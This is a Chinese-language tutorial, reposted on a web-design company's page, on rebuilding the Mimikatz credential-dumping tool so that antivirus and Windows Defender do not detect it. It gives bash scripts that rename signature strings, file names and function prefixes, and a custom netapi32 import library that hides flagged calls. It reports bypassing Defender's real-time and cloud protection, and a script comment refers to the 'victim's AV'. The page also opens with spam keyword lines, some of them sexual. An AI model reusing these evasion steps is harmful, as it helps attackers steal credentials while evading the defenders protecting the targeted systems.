真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

本篇文章為大家展示了如何構(gòu)建自定義的Mimikatz二進(jìn)制文件,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

為坡頭等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計(jì)制作服務(wù),及坡頭網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都做網(wǎng)站、網(wǎng)站設(shè)計(jì)、坡頭網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會得到認(rèn)可,從而選擇與我們長期合作。這樣,我們也可以走得更遠(yuǎn)!

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

介紹

如何通過修改源代碼的方式構(gòu)建自定義的Mimikatz二進(jìn)制文件,并繞過反病毒/終端檢測與響應(yīng)產(chǎn)品。

目前社區(qū)有很多關(guān)于Mimikatz混淆的技術(shù)文章,但大多數(shù)都針對的是如何讓Invoke-Mimikatz繞過AMSI或直接使用PowerShell版本的混淆工具。但是,我選擇的是構(gòu)建一個(gè)不會被反病毒產(chǎn)品標(biāo)記的自定義Mimikatz版本:

# This script downloads and slightly "obfuscates" the mimikatz project.

# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,

# so removing them from the project before compiling gets us past most of the AV solutions.

# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,

# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

 

git clone https://github.com/gentilkiwi/mimikatz.git windows

mv windows/mimikatz windows/windows

find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'

find windows/ -type f -name '*mimikatz*' | while read FILE ; do

newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')";

mv "${FILE}" "${newfile}";

done

find windows/ -type f -name '*kiwi*' | while read FILE ; do

newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')";

mv "${FILE}" "${newfile}";

Done

接下來,我們一起看一看如何去構(gòu)建一個(gè)自定義的Mimikatz二進(jìn)制文件。

Mimikatz包含病毒

毫無疑問,你下載的每一個(gè)Mimikatz發(fā)行版都會被反病毒產(chǎn)品標(biāo)記為惡意軟件,因?yàn)楹芏喙粽叨紩x擇使用Mimikatz和其他開源項(xiàng)目來實(shí)施各種攻擊行為。顯然,有很多人并不知道為何這些開源項(xiàng)目會被標(biāo)記,以及它們是如何被標(biāo)記的:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

真實(shí)的攻擊者和滲透測試人員一般都不會直接選擇使用項(xiàng)目的發(fā)布版本,而通常會選擇使用自己的自定義構(gòu)建版本。一般來說,他們只會選擇使用Mimikatz的部分源代碼。在這種情況下,我們會在保留原有功能特性的基礎(chǔ)上對源代碼進(jìn)行修改以評估其檢測率。因此,使用自定義的源碼文件還是我們最佳的實(shí)踐方式。

基礎(chǔ)特征

針對Mimikatz的特征,我們首先需要替換掉下列字符串:

1、mimikatz, MIMIKATZ和Mimikatz

2、DELPY, Benjamin, benjamin@gentilkiwi.com

3、creativecommons

4、gentilkiwi

5、KIWI, Kiwi和kiwi

從反病毒廠商的角度來看,首先需要標(biāo)記的就是源碼文件中的這些字符串,如果你打開Mimikatz的菜單,你將看到如下圖所示的信息:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

菜單中所有的字符串都可以證明Mimikatz正在運(yùn)行,所以我們需要在腳本中添加下列特征字符串來替換掉它們:

“A La Vie, A L’Amour”

http://blog.gentilkiwi.com/mimikatz

Vincent LE TOUX

vincent.letoux@gmail.com

http://pingcastle.com

http://mysmartlogon.com

我們也可以直接打開mimikatz.c文件,然后替換掉Banner,或者直接刪掉它們。

接下來,我們還需要替換掉一些功能性的關(guān)鍵詞。Mimikatz中的主模塊如下:

1、crypto, dpapi, kerberos, lsadump, ngc, sekurlsa

2、standard, privilege, process, service, ts, event

3、misc, token, vault, minesweeper, net, busylight

4、sysenv, sid, iis, rpc, sr98, rdm, acr

我們還可以輸入一個(gè)無效的模塊名(例如::)來顯示所有可用模塊:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

在這里,我們有兩個(gè)選擇。要么把所有的函數(shù)名替換成全大寫字母,或者直接修改函數(shù)名稱。對于第一種方法,我們熟悉的那些函數(shù)相當(dāng)于沒有變化。但對于第二種方法,我們就得去記新的函數(shù)名了。目前,我們選擇繼續(xù)使用熟悉得函數(shù)名,因?yàn)槲遗乱坏┎恍⌒?,就會破壞其原有功能。為了為每個(gè)新版本構(gòu)建一個(gè)自定義二進(jìn)制文件,我們用隨機(jī)名稱替換與函數(shù)名無關(guān)的字符串。

要替換的另一個(gè)重要內(nèi)容是二進(jìn)制文件的圖標(biāo)。因此,在gist的修改版本中,我們用一些隨機(jī)下載的圖標(biāo)替換現(xiàn)有的圖標(biāo)。

主菜單中的每個(gè)功能都有子功能。例如,最著名的函數(shù)sekurlsa就包含了以下子函數(shù):

1、msv, wdigest, kerberos, tspkg

2、livessp, cloudap, ssp, logonpasswords

3、process, minidump, bootkey, pth

4、krbtgt, dpapisystem, trust, backupkeys

5、tickets, ekeys, dpapi, credman

確保大部分熟知的Mimikatz標(biāo)識符都已經(jīng)被修改了,其中也包括子函數(shù)名。腳本樣例代碼:【點(diǎn)我獲取】。

通過執(zhí)行Bash腳本,編譯代碼,并上傳至VirusToal,我們將查看到下列結(jié)果:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

25/67的檢測率,但肯定還不夠。

netapi32.dll

為了找到更多的特征,我們可以使用下列命令來將文件分割成多個(gè)部分:

head -c byteLength mimikatz.exe > split.exe

如果結(jié)果文件被刪除了,說明其中就存在特征。如果沒有被刪除,那么這部分文件就是安全的。你還可以使用DefenderCheck工具來自動化實(shí)現(xiàn)該任務(wù)。簡單來說,就是將文件分割成多個(gè)部分,然后把它們拷貝到C:\temp\目錄下,并用Windows Defender進(jìn)行掃描:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

netapi32.dll中的下面這三個(gè)函數(shù)都會被Windows Defender標(biāo)記:

I_NetServerAuthenticate2

I_NetServerReqChallenge

I_NetServerTrustPasswordsGet

在這里,我們可以創(chuàng)建一個(gè)包含下列內(nèi)容的.def文件來構(gòu)建一個(gè)自定義的netapi32.min.lib:

L

IBRARY netapi32.dll

EXPORTS

  I_NetServerAuthenticate2 @ 59

  I_NetServerReqChallenge @ 65

  I_NetServerTrustPasswordsGet @ 62

此時(shí),我們可以使用下列命令在Visual Studio開發(fā)者終端中構(gòu)建netapi32.min.lib文件:

lib /DEF:netapi32.def /OUT:netapi32.min.lib

我們將該文件嵌入至lib\x64\目錄,然后重新編譯。再次運(yùn)行DefenderCheck之后,將無法檢測到任何內(nèi)容:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

這也就意味著,我們已經(jīng)繞過了Windows Defender的“實(shí)時(shí)保護(hù)”功能。但如果我們啟用云保護(hù)功能,然后將該文件拷貝至其他位置,它還是會被檢測到:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

替換更多的字符串

當(dāng)然了,我們還有很多需要替換的東西。首先,我們還要處理那些比較明顯的字符串。Mimikatz菜單中包含對每個(gè)函數(shù)的介紹。比如說,子函數(shù)privilege就有下列描述信息:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

這里,我們可以將所有的描述以字符串的形式添加進(jìn)我們的Bash腳本中來進(jìn)行替換。但并非所有都需要,比如說下面這些:

answer - Answer to the Ultimate Question of Life, the Universe, and Everything

coffee - Please, make me a coffee!

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

很多反病毒廠商會將相關(guān)的功能性DLL文件加載行為也進(jìn)行標(biāo)記,Mimikatz需要從.DLL文件中加載很多函數(shù),為了在Mimikatz源代碼中找到相關(guān)的DLL文件,我們需要打開Visual Studio,按下STRG + SHIFT + F。此時(shí)將能夠搜索整個(gè)項(xiàng)目,搜索.dll就可以查看到項(xiàng)目中所有使用到的DLL文件了,然后將它們添加到Bash腳本中進(jìn)行名稱替換即可。

目錄&文件結(jié)構(gòu)

整個(gè)項(xiàng)目的目錄結(jié)構(gòu)似乎也是反病毒產(chǎn)品檢測的根據(jù)之一,這里所有可用的函數(shù)名稱貌似都是以kuhl_或KULL_作為前綴來聲明的:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

我們可以直接替換掉這些前綴:

kuhl=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/kuhl/$kuhl/g"

 

kull=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/kull/$kull/g"

 

find windows/ -type f -name "*kuhl*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/kuhl/$kuhl/g")";

mv "${FILE}" "${newfile}";

done

 

 

find windows/ -type f -name "*kull*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/kull/$kull/g")";

mv "${FILE}" "${newfile}";

done

 

under=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/_m_/$under/g"

 

find windows/ -type f -name "*_m_*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/_m_/$under/g")";

mv "${FILE}" "${newfile}";

Done

Bash腳本:【點(diǎn)我獲取】

執(zhí)行Bash腳本之后,編譯并上傳至Virustotal:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

雖然檢測率還沒啥太大變化,但目前已經(jīng)可以繞過開啟了云保護(hù)功能的Windows Defender了:

如何構(gòu)建自定義的Mimikatz二進(jìn)制文件

上述內(nèi)容就是如何構(gòu)建自定義的Mimikatz二進(jìn)制文件,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


新聞標(biāo)題:如何構(gòu)建自定義的Mimikatz二進(jìn)制文件
標(biāo)題來源:http://weahome.cn/article/poeogs.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部